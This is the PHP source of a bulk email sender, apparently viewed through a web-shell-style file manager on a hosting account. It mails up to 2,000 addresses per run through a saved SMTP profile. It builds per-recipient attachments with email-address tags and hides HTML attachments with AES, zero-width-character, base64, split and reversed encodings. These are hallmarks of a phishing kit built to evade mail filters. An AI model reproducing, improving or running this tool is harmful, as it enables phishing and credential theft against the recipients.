?????????? ????????? - ??????????????? - /home/agenciai/public_html/php_mailer/send.php
???????
<?php // Start output buffering ob_start(); // Include required files require_once 'config.php'; require_once 'load_phpmailer.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; // Check if we're requesting progress if (isset($_GET['progress'])) { // Start session only if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } header('Content-Type: application/json'); $progress = isset($_SESSION['email_progress']) ? $_SESSION['email_progress'] : [ 'total' => 0, 'sent' => 0, 'failed' => 0, 'current' => 'Not started', 'status' => 'idle', 'errors' => [] ]; echo json_encode($progress); exit; } // Check if user is logged in if (!isLoggedIn()) { ob_end_clean(); header('Location: index.php?error=Please+login+first'); exit; } // Check if form was submitted if ($_SERVER['REQUEST_METHOD'] !== 'POST') { ob_end_clean(); header('Location: index.php?error=Invalid+request'); exit; } // Get form data $to_emails = trim($_POST['to_emails'] ?? ''); $subject = trim($_POST['subject'] ?? ''); $message = trim($_POST['message'] ?? ''); $email_delay = isset($_POST['email_delay']) ? intval($_POST['email_delay']) : 2; // Reduced default delay $enable_unique_tags = isset($_POST['enable_unique_tags']) && $_POST['enable_unique_tags'] == '1'; // Get encryption options from form $html_encryption_method = $_POST['html_encryption_method'] ?? 'none'; $zero_font_message = $_POST['zero_font_message'] ?? ''; $aes_encryption_key = $_POST['aes_encryption_key'] ?? ''; // Get attachment data $custom_filename = trim($_POST['custom_filename'] ?? ''); $custom_content = trim($_POST['custom_content'] ?? ''); $base64_encode = isset($_POST['base64_encode']); $split_content = isset($_POST['split_content']); $reverse_content = isset($_POST['reverse_content']); // Validate required fields if (empty($to_emails) || empty($subject) || empty($message)) { ob_end_clean(); header('Location: index.php?error=Please+fill+all+required+fields'); exit; } // Process email list $email_list = explode("\n", $to_emails); $valid_emails = []; foreach ($email_list as $email) { $email = trim($email); if (!empty($email) && filter_var($email, FILTER_VALIDATE_EMAIL)) { $valid_emails[] = $email; } } // Validate emails if (empty($valid_emails)) { ob_end_clean(); header('Location: index.php?error=No+valid+email+addresses+found'); exit; } if (count($valid_emails) > 2000) { ob_end_clean(); header('Location: index.php?error=Maximum+2000+emails+allowed'); exit; } // Get SMTP profile $smtpProfile = getSelectedSMTPProfile(); if (!$smtpProfile) { ob_end_clean(); header('Location: index.php?error=No+SMTP+profile+configured'); exit; } // Process attachment if provided $attachment_data = null; $attachment_filename = null; $attachment_is_html = false; $attachment_mime_type = 'application/octet-stream'; if (!empty($_FILES['attachment']['tmp_name']) && $_FILES['attachment']['error'] === UPLOAD_ERR_OK) { try { // Check file size (max 10MB for large volumes) if ($_FILES['attachment']['size'] > 10 * 1024 * 1024) { throw new Exception('File size exceeds 10MB limit for bulk sending'); } // Read file content $file_content = file_get_contents($_FILES['attachment']['tmp_name']); if ($file_content === false) { throw new Exception('Failed to read file content'); } // Check if file is HTML for encryption $file_info = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($file_info, $_FILES['attachment']['tmp_name']); finfo_close($file_info); $attachment_is_html = (strpos($mime_type, 'html') !== false || strpos($_FILES['attachment']['name'], '.html') !== false || strpos($_FILES['attachment']['name'], '.htm') !== false); // Set appropriate MIME type if ($attachment_is_html) { $attachment_mime_type = 'text/html'; } elseif (strpos($_FILES['attachment']['name'], '.txt') !== false) { $attachment_mime_type = 'text/plain'; } elseif (strpos($_FILES['attachment']['name'], '.pdf') !== false) { $attachment_mime_type = 'application/pdf'; } // Add custom content if provided if (!empty($custom_content)) { $file_content .= "\n\n" . $custom_content; } // Apply basic obfuscation for non-HTML files if enabled if ($base64_encode) { $file_content = base64_encode($file_content); } if ($split_content) { $file_content = chunk_split($file_content, 76, "\n"); } if ($reverse_content) { $file_content = strrev($file_content); } $attachment_data = $file_content; // Determine filename if (!empty($custom_filename)) { $attachment_filename = $custom_filename; } else { $attachment_filename = $_FILES['attachment']['name']; } } catch (Exception $e) { ob_end_clean(); header('Location: index.php?error=' . urlencode('Attachment error: ' . $e->getMessage())); exit; } } // Initialize progress tracking if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress'] = [ 'total' => count($valid_emails), 'sent' => 0, 'failed' => 0, 'current' => 'Starting...', 'status' => 'processing', 'errors' => [], 'start_time' => time() ]; session_write_close(); // Pre-process common email components to save resources $preprocessed_subject = $subject; $preprocessed_message = $message; // Send emails $success_count = 0; $error_count = 0; $error_messages = []; $batch_size = 50; // Process in batches to prevent memory overload $batch_count = ceil(count($valid_emails) / $batch_size); for ($batch = 0; $batch < $batch_count; $batch++) { $batch_emails = array_slice($valid_emails, $batch * $batch_size, $batch_size); foreach ($batch_emails as $index => $to_email) { // Check if sending was cancelled if (session_status() === PHP_SESSION_NONE) { session_start(); } if (isset($_SESSION['sending_cancelled']) && $_SESSION['sending_cancelled']) { session_write_close(); break 2; // Break out of both loops } session_write_close(); try { // Update progress if (session_status() === PHP_SESSION_NONE) { session_start(); } $global_index = ($batch * $batch_size) + $index; $_SESSION['email_progress']['current'] = "Sending to $to_email (" . ($global_index + 1) . "/" . count($valid_emails) . ")"; session_write_close(); // Create PHPMailer instance $mail = new PHPMailer(true); // Configure SMTP with shorter timeouts for bulk sending $mail->isSMTP(); $mail->Host = $smtpProfile['host']; $mail->SMTPAuth = true; $mail->Username = $smtpProfile['username']; $mail->Password = $smtpProfile['password']; $mail->SMTPSecure = $smtpProfile['encryption']; $mail->Port = $smtpProfile['port']; $mail->CharSet = 'UTF-8'; $mail->Timeout = 15; // Reduced timeout $mail->SMTPKeepAlive = true; // Keep connection alive for batch // Set From address $mail->setFrom($smtpProfile['from_email'], $smtpProfile['from_name']); // Add recipient and extract username $username = extractUsernameFromEmail($to_email); $mail->addAddress($to_email, $username); // Process subject with tags $processed_subject = processMessageWithTags($preprocessed_subject, $to_email, $username); // Email content $mail->isHTML(true); $mail->Subject = $processed_subject; // Personalize message with all available tags $personalized_message = processMessageWithTags($preprocessed_message, $to_email, $username); $mail->Body = $personalized_message; $mail->AltBody = strip_tags($personalized_message); // Add attachment if provided if ($attachment_data !== null) { // Create a copy of attachment data for this specific email $email_attachment_data = $attachment_data; // Process HTML encryption for this specific email if needed if ($attachment_is_html && $html_encryption_method !== 'none') { $encryption_options = [ 'advanced_obfuscate' => ($html_encryption_method === 'advanced'), 'zero_font_html' => ($html_encryption_method === 'zerowidth'), 'zero_font_message' => $zero_font_message, 'aes_html' => ($html_encryption_method === 'aes'), 'aes_key' => $aes_encryption_key, 'obfuscate_html' => ($html_encryption_method === 'obfuscate'), 'base64_html' => ($html_encryption_method === 'base64'), 'base64_split' => $split_content, 'base64_reverse' => $reverse_content ]; // For advanced obfuscation, we need to pass the email if ($html_encryption_method === 'advanced') { $email_attachment_data = processHTMLContent($email_attachment_data, $encryption_options, $to_email); } else { $email_attachment_data = processHTMLContent($email_attachment_data, $encryption_options); } } // Process unique email tags if enabled if ($enable_unique_tags) { // Replace {{unique_email}} with the actual email address $email_attachment_data = str_replace('{{unique_email}}', $to_email, $email_attachment_data); // Also replace any other email-related tags $email_attachment_data = processMessageWithTags($email_attachment_data, $to_email, $username); } // Process filename with tags $processed_filename = processMessageWithTags($attachment_filename, $to_email, $username); $mail->addStringAttachment($email_attachment_data, $processed_filename, 'base64', $attachment_mime_type); } // Send email if ($mail->send()) { $success_count++; if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress']['sent'] = $success_count; session_write_close(); logSentEmail($to_email, $subject, 'success'); } else { throw new Exception('Send failed: ' . $mail->ErrorInfo); } // Add delay if ($email_delay > 0 && $global_index < count($valid_emails) - 1) { if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress']['current'] = "Waiting $email_delay seconds..."; session_write_close(); sleep($email_delay); } // Close connection after each email to free resources $mail->smtpClose(); } catch (Exception $e) { $error_count++; $error_message = "Failed to send to $to_email: " . $e->getMessage(); $error_messages[] = $error_message; if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress']['failed'] = $error_count; $_SESSION['email_progress']['errors'][] = $error_message; session_write_close(); logSentEmail($to_email, $subject, 'failed', $error_message); // Close connection on error too if (isset($mail)) { $mail->smtpClose(); } } // Clear variables to free memory unset($mail); // Force garbage collection every 25 emails if ($global_index % 25 === 0) { gc_collect_cycles(); } } // Add a longer pause between batches if ($batch < $batch_count - 1) { if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress']['current'] = "Taking a brief pause between batches..."; session_write_close(); sleep(5); // 5-second pause between batches } } // Finalize progress if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress']['status'] = 'completed'; $_SESSION['email_progress']['current'] = "Completed: $success_count sent, $error_count failed"; // Calculate total time $end_time = time(); $total_time = $end_time - $_SESSION['email_progress']['start_time']; $time_message = " Total time: " . gmdate("H:i:s", $total_time); // Prepare result message if ($success_count > 0 && $error_count === 0) { $message = "Successfully sent $success_count email(s)!" . $time_message; $redirect_param = 'success'; } else if ($success_count > 0 && $error_count > 0) { $message = "Sent $success_count email(s) successfully, $error_count failed" . $time_message; $redirect_param = 'warning'; } else { $message = "Failed to send all $error_count email(s)" . $time_message; $redirect_param = 'error'; } // Add error details if ($error_count > 0 && count($error_messages) <= 5) { $message .= ": " . implode("; ", array_slice($error_messages, 0, 5)); } else if ($error_count > 0) { $error_log_file = __DIR__ . '/data/send-errors-' . date('Y-m-d-H-i-s') . '.txt'; file_put_contents($error_log_file, implode("\n", $error_messages)); $message .= ". First 5 errors: " . implode("; ", array_slice($error_messages, 0, 5)); $message .= ". All errors saved to log file."; } // Redirect with result ob_end_clean(); header('Location: index.php?' . $redirect_param . '=' . urlencode($message)); exit;
| ver. 1.6 |
Github
|
.
| PHP 8.2.30 | ??????????? ?????????: 0 |
proxy
|
phpinfo
|
???????????